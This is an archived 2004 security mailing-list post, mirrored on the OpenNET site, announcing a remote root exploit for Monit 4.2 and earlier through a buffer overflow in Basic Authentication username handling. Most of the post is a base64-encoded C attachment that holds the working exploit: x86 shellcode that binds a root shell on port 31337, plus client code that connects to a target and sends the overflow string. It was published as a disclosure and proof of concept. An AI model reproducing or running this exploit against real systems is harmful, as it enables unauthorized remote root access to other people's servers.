The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Monit <= 4.2 Remote Root Exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Mon, 12 Apr 2004 06:22:02 +0800
From: Eye on Security India <[email protected]>
To: [email protected]
Subject: Monit <= 4.2 Remote Root Exploit
Cc: [email protected]

------------=_1081722122-5816-0
Content-Type: text/plain; charset="iso-8859-1"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

/*
 * THE EYE ON SECURITY RESEARCH GROUP - INDIA
 *
 * http://www.eos-india.net/poc/305monit.c
 * Remote Root Exploit for Monit <= 4.2
 * Vulnerability: Buffer overflow in handling of Basic Authentication informations.
 * Server authenticates clients through:
 * Authentication: Basic Base64Encode[UserName:Password]
 * Here we are exploiting the insecure handling of username in Basic Authentication information to return
 * control (EIP) to our payload.
 *
 * Nilanjan De [n2n<at>linuxmail<dot>org] - Abhisek Datta [abhisek<at>front<dot>ru]
 *
 * 06.04.2004
 * http://www.eos-india.net
*/
-- 
______________________________________________
Check out the latest SMS services @ http://www.linuxmail.org 
This allows you to send and receive SMS through your mailbox.


Powered by Outblaze

------------=_1081722122-5816-0
Content-Type: application/octet-stream; name="305monit.c"
Content-Disposition: attachment; filename="305monit.c"
Content-Transfer-Encoding: base64

LyoNCiAqIFRIRSBFWUUgT04gU0VDVVJJVFkgUkVTRUFSQ0ggR1JPVVAgLSBJ
TkRJQQ0KICoNCiAqIGh0dHA6Ly93d3cuZW9zLWluZGlhLm5ldC9wb2MvMzA1
bW9uaXQuYw0KICogUmVtb3RlIFJvb3QgRXhwbG9pdCBmb3IgTW9uaXQgPD0g
NC4yDQogKiBWdWxuZXJhYmlsaXR5OiBCdWZmZXIgb3ZlcmZsb3cgaW4gaGFu
ZGxpbmcgb2YgQmFzaWMgQXV0aGVudGljYXRpb24gaW5mb3JtYXRpb25zLg0K
ICogU2VydmVyIGF1dGhlbnRpY2F0ZXMgY2xpZW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lu
ZCBhIHNoZWxsIGluIHBvcnQgMzEzMzcNCiBiYXNlZCBvbiBzaGVsbGNvZGUg
ZnJvbSB3d3cuc2hlbGxjb2RlLmNvbS5hcg0KIHdpdGggYSBmZXcgbW9kaWZp
Y2F0aW9ucyBieSB1cw0KKi8NCiANCmNoYXIgc2hlbGxjb2RlW109DQogICAg
ICAgIC8qIHN5c19mb3JrKCkgKi8NCgkiXHgzMVx4YzAiICAgICAgICAgICAg
ICAgICAgICAgIC8vIHhvcmwgICAgICAgICAlZWF4LCVlYXgNCgkiXHgzMVx4
ZGIiICAgICAgICAgICAgICAgICAgICAgIC8vIHhvcmwgICAgICAgICAlZWJ4
LCVlYngNCgkiXHhiMFx4MDIiICAgICAgICAgICAgICAgICAgICAgIC8vIG1v
dmIgICAgICAgICAkMHgyLCVhbA0KCSJceGNkXHg4MCIgICAgICAgICAgICAg
ICAgICAgICAgLy8gaW50ICAgICAgICAgICQweDgwDQoJIlx4MzhceGMzIiAg
ICAgICAgICAgICAgICAgICAgICAvLyBjbXBsICAgICAgICAgJWVieCwlZWF4
DQoJIlx4NzRceDA1IiAgICAgICAgICAgICAgICAgICAgICAvLyBqZSAgICAg
ICAgICAgMHg1DQoJLyogc3lzX2V4aXQoKSAqLw0KCSJceDhkXHg0M1x4MDEi
ICAgICAgICAgICAgICAgICAgLy8gbGVhbCAgICAgICAgIDB4MSglZWJ4KSwl
ZWF4DQoJIlx4Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAvLyBpbnQg
ICAgICAgICAgJDB4ODANCiAgICAgICAgLyogc2V0dWlkKDApICovDQogICAg
ICAgICJceDMxXHhjMCIgICAgICAgICAgICAgICAgICAgICAgLy8geG9ybCAg
ICAgICAgICVlYXgsJWVheA0KICAgICAgICAiXHgzMVx4ZGIiICAgICAgICAg
ICAgICAgICAgICAgIC8vIHhvcmwgICAgICAgICAlZWJ4LCVlYngNCiAgICAg
ICAgIlx4YjBceDE3IiAgICAgICAgICAgICAgICAgICAgICAvLyBtb3ZiICAg
ICAgICAgJDB4MTcsJWFsDQogICAgICAgICJceGNkXHg4MCIgICAgICAgICAg
ICAgICAgICAgICAgLy8gaW50ICAgICAgICAgICQweDgwDQogICAgICAgIC8q
IHNvY2tldCgpICovDQogICAgICAgICJceDMxXHhjMCIgICAgICAgICAgICAg
ICAgICAgICAgLy8geG9ybCAgICAlZWF4LCVlYXgNCiAgICAgICAgIlx4ODlc
eDQ1XHgxMCIgICAgICAgICAgICAgICAgICAvLyBtb3ZsICAgICVlYXgsMHgx
MCglZWJwKShJUFBST1RPX0lQID0gMHgwKQ0KICAgICAgICAiXHg0MCIgICAg
ICAgICAgICAgICAgICAgICAgICAgIC8vIGluY2wgICAgJWVheA0KICAgICAg
ICAiXHg4OVx4YzMiICAgICAgICAgICAgICAgICAgICAgIC8vIG1vdmwgICAg
JWVheCwlZWJ4KFNZU19TT0NLRVQgPSAweDEpDQogICAgICAgICJceDg5XHg0
NVx4MGMiICAgICAgICAgICAgICAgICAgLy8gbW92bCAgICAlZWF4LDB4Yygl
ZWJwKShTT0NLX1NUUkVBTSA9IDB4MSkNCiAgICAgICAgIlx4NDAiICAgICAg
ICAgICAgICAgICAgICAgICAgICAvLyBpbmNsICAgICVlYXgNCiAgICAgICAg
Ilx4ODlceDQ1XHgwOCIgICAgICAgICAgICAgICAgICAvLyBtb3ZsICAgICVl
YXgsMHg4KCVlYnApKEFGX0lORVQgPSAweDIpDQoJIlx4OGRceDRkXHgwOCIg
ICAgICAgICAgICAgICAgICAvLyBsZWFsICAgIDB4OCglZWJwKSwlZWN4DQog
ICAgICAgICJceGIwXHg2NiIgICAgICAgICAgICAgICAgICAgICAgLy8gbW92
YiAgICAkMHg2NiwlYWwNCiAgICAgICAgIlx4Y2RceDgwIiAgICAgICAgICAg
ICAgICAgICAgICAvLyBpbnQgICAgICQweDgwDQogICAgICAgICJceDg5XHg0
NVx4MDgiICAgICAgICAgICAgICAgICAgLy8gbW92bCAgICAlZWF4LDB4OCgl
ZWJwKQ0KDQogICAgICAgIC8qIGJpbmQoKSovDQogICAgICAgICJceDQzIiAg
ICAgICAgICAgICAgICAgICAgICAgICAgLy8gaW5jbCAgICAlZWJ4KFNZU19C
SU5EID0gMHgyKQ0KICAgICAgICAiXHg2Nlx4ODlceDVkXHgxNCIgICAgICAg
ICAgICAgIC8vIG1vdncgICAgJWJ4LDB4MTQoJWVicCkoQUZfSU5FVCA9IDB4
MikNCgkiXHg2Nlx4YzdceDQ1XHgxNlx4N2FceDY5IiAgICAgIC8vIG1vdncg
ICAgJDB4Njk3YSwweDE2KCVlYnApKHBvcnQ9MzEzMzcpDQogICAgICAgICJc
eDMxXHhkMiIgICAgICAgICAgICAgICAgICAgICAgLy8geG9ybCAgICAlZWR4
LCVlZHgNCiAgICAgICAgIlx4ODlceDU1XHgxOCIgICAgICAgICAgICAgICAg
ICAvLyBtb3ZsICAgICVlZHgsMHgxOCglZWJwKQ0KICAgICAgICAiXHg4ZFx4
NTVceDE0IiAgICAgICAgICAgICAgICAgIC8vIGxlYWwgICAgMHgxNCglZWJw
KSwlZWR4DQogICAgICAgICJceDg5XHg1NVx4MGMiICAgICAgICAgICAgICAg
ICAgLy8gbW92bCAgICAlZWR4LDB4YyglZWJwKQ0KICAgICAgICAiXHhjNlx4
NDVceDEwXHgxMCIgICAgICAgICAgICAgIC8vIG1vdmIgICAgJDB4MTAsMHgx
MCglZWJwKShzaXplb2Yoc3RydWN0IHNvY2thZGRyKSA9IDEwaCA9IDE2KQ0K
ICAgICAgICAiXHhiMFx4NjYiICAgICAgICAgICAgICAgICAgICAgIC8vIG1v
dmIgICAgJDB4NjYsJWFsDQogICAgICAgICJceGNkXHg4MCIgICAgICAgICAg
ICAgICAgICAgICAgLy8gaW50ICAgICAkMHg4MA0KIA0KICAgICAgICAvKiBs
aXN0ZW4oKSAqLw0KICAgICAgICAiXHg0MCIgICAgICAgICAgICAgICAgICAg
ICAgICAgIC8vIGluY2wgICAgJWVheA0KICAgICAgICAiXHg4OVx4NDVceDBj
IiAgICAgICAgICAgICAgICAgIC8vIG1vdmwgICAgJWVheCwweGMoJWVicCkN
CiAgICAgICAgIlx4NDMiICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBp
bmNsICAgICVlYngNCiAgICAgICAgIlx4NDMiICAgICAgICAgICAgICAgICAg
ICAgICAgICAvLyBpbmNsICAgICVlYngoU1lTX0xJU1RFTiA9IDB4NCkNCiAg
ICAgICAgIlx4YjBceDY2IiAgICAgICAgICAgICAgICAgICAgICAvLyBtb3Zi
ICAgICQweDY2LCVhbA0KICAgICAgICAiXHhjZFx4ODAiICAgICAgICAgICAg
ICAgICAgICAgIC8vIGludCAgICAgJDB4ODANCiANCiAgICAgICAgLyogYWNj
ZXB0KCkgKi8NCiAgICAgICAgIlx4NDMiICAgICAgICAgICAgICAgICAgICAg
ICAgICAvLyBpbmNsICAgICVlYngNCiAgICAgICAgIlx4ODlceDQ1XHgwYyIg
ICAgICAgICAgICAgICAgICAvLyBtb3ZsICAgICVlYXgsMHhjKCVlYnApDQog
ICAgICAgICJceDg5XHg0NVx4MTAiICAgICAgICAgICAgICAgICAgLy8gbW92
bCAgICAlZWF4LDB4MTAoJWVicCkNCiAgICAgICAgIlx4YjBceDY2IiAgICAg
ICAgICAgICAgICAgICAgICAvLyBtb3ZiICAgICQweDY2LCVhbA0KICAgICAg
ICAiXHhjZFx4ODAiICAgICAgICAgICAgICAgICAgICAgIC8vIGludCAgICAg
JDB4ODANCiAgICAgICAgIlx4ODlceGMzIiAgICAgICAgICAgICAgICAgICAg
ICAvLyBtb3ZsICAgICVlYXgsJWVieA0KIA0KICAgICAgICAvKiBkdXAyKCkg
Ki8NCiAgICAgICAgIlx4MzFceGM5IiAgICAgICAgICAgICAgICAgICAgICAv
LyB4b3JsICAgICVlY3gsJWVjeA0KICAgICAgICAiXHhiMFx4M2YiICAgICAg
ICAgICAgICAgICAgICAgIC8vIG1vdmIgICAgJDB4M2YsJWFsDQogICAgICAg
ICJceGNkXHg4MCIgICAgICAgICAgICAgICAgICAgICAgLy8gaW50ICAgICAk
MHg4MA0KICAgICAgICAiXHg0MSIgICAgICAgICAgICAgICAgICAgICAgICAg
IC8vIGluY2wgICAgJWVjeA0KICAgICAgICAiXHg4MFx4ZjlceDAzIiAgICAg
ICAgICAgICAgICAgIC8vIGNtcGIgICAgJDB4MywlY2wNCiAgICAgICAgIlx4
NzVceGY2IiAgICAgICAgICAgICAgICAgICAgICAvLyBqbmUgICAgIC0weGEN
CiANCiAgICAgICAgLyogZXhlY3ZlKCkgKi8NCiAgICAgICAgIlx4MzFceGQy
IiAgICAgICAgICAgICAgICAgICAgICAvLyB4b3JsICAgICVlZHgsJWVkeA0K
ICAgICAgICAiXHg1MiIgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHB1
c2hsICAgJWVkeA0KICAgICAgICAiXHg2OFx4NmVceDJmXHg3M1x4NjgiICAg
ICAgICAgIC8vIHB1c2hsICAgJDB4Njg3MzJmNmUNCiAgICAgICAgIlx4Njhc
eDJmXHgyZlx4NjJceDY5IiAgICAgICAgICAvLyBwdXNobCAgICQweDY5NjIy
ZjJmDQogICAgICAgICJceDg5XHhlMyIgICAgICAgICAgICAgICAgICAgICAg
Ly8gbW92bCAgICAlZXNwLCVlYngNCiAgICAgICAgIlx4NTIiICAgICAgICAg
ICAgICAgICAgICAgICAgICAvLyBwdXNobCAgICVlZHgNCiAgICAgICAgIlx4
NTMiICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBwdXNobCAgICVlYngN
CiAgICAgICAgIlx4ODlceGUxIiAgICAgICAgICAgICAgICAgICAgICAvLyBt
b3ZsICAgICVlc3AsJWVjeA0KICAgICAgICAiXHhiMFx4MGIiICAgICAgICAg
ICAgICAgICAgICAgIC8vIG1vdmIgICAgJDB4YiwlYWwNCiAgICAgICAgIlx4
Y2RceDgwIjsgICAgICAgICAgICAgICAgICAgICAvLyBpbnQgICAgICQweDgw
DQoNCnZvaWQgc2hvd19oZWxwKGNoYXIgKnByMDBnaWUsd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Sk7DQoJfQ0KCXNpbi5zaW5fYWRkcj0qKChzdHJ1Y3QgaW5fYWRkciop
aC0+aF9hZGRyKTsNCglzaW4uc2luX2ZhbWlseT1BRl9JTkVUOw0KCXNpbi5z
aW5fcG9ydD1odG9ucygodV9zaG9ydClycG9ydCk7DQoJaWYoKHNvY2tmZD1z
b2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSxJUFBST1RPX1RDUCkpPDApew0K
CQlwZXJyb3IoInNvY2tldCIpOw0KCQlleGl0KDEpOw0KCX0NCglwcmludGYo
IkNvbm5lY3RpbmcgdG8gJXM6JWRcdCIsaG9zdCxycG9ydCk7DQoJaWYoY29u
bmVjdChzb2NrZmQsKHN0cnVjdCBzb2NrYWRkciopJnNpbixzaXplb2Yoc2lu
KSk8MCkgew0KCQlwcmludGYoIltFUlJPUl1cblVuYWJsZSB0byBjb25uZWN0
OiAlczolZFxuIixob3N0LHJwb3J0KTsNCgkJcGVycm9yKCJjb25uZWN0Iik7
DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UNCglwcmludGYoIltET05FXVxuIik7
DQoJbWFrZV9odHRwX3JlcXVlc3QoYixCVUZGX1NJWkUsaG9zdCwmbWFnaWMp
Ow0KCWlmKHNlbmQoc29ja2ZkLGIsc3RybGVuKGIpLDApID09IHN0cmxlbihi
KSkNCgkJcHJpbnRmKCJTdWNjZXNzZnVsbHkgc2VuZCBleHBsb2l0IHN0cmlu
Z1xuIik7DQoJZWxzZQ0KCQlwcmludGYoIkZhaWxlZCBzZW5kaW5nIGV4cGxv
aXQgc3RyaW5nXG4iKTsNCgljbG9zZShzb2NrZmQpOw0KCXJldHVybiAwOw0K
fQ0K

------------=_1081722122-5816-0--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру